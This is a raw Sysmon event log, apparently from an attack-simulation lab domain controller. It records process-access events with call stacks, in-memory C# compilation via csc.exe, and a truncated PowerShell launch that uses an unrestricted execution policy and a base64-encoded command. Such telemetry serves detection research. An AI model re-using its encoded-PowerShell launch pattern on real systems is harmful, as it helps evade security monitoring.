09:10:52.720{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003972Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003971Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003970Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003969Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003968Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003967Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003966Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003965Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-291C-5F80-C900-000000007F01}3316C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003964Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-291C-5F80-C800-000000007F01}48364916C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-291C-5F80-C900-000000007F01}3316C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003963Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.726{A5F018FF-291C-5F80-C900-000000007F01}3316C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES8884.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC3A5611364BA74E759E7FEE6AAC17C4DD.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-291C-5F80-C800-000000007F01}4836C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\ple0aevr.cmdline" 10341000x80000000000000003962Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291C-5F80-C800-000000007F01}4836C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003961Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003960Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003959Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003958Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003957Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003956Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003955Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003954Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003953Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003952Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-291C-5F80-C800-000000007F01}4836C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003951Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.626{A5F018FF-291C-5F80-C600-000000007F01}46884392C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291C-5F80-C800-000000007F01}4836C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFAA907B68F) 154100x80000000000000003950Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.632{A5F018FF-291C-5F80-C800-000000007F01}4836C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\ple0aevr.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgB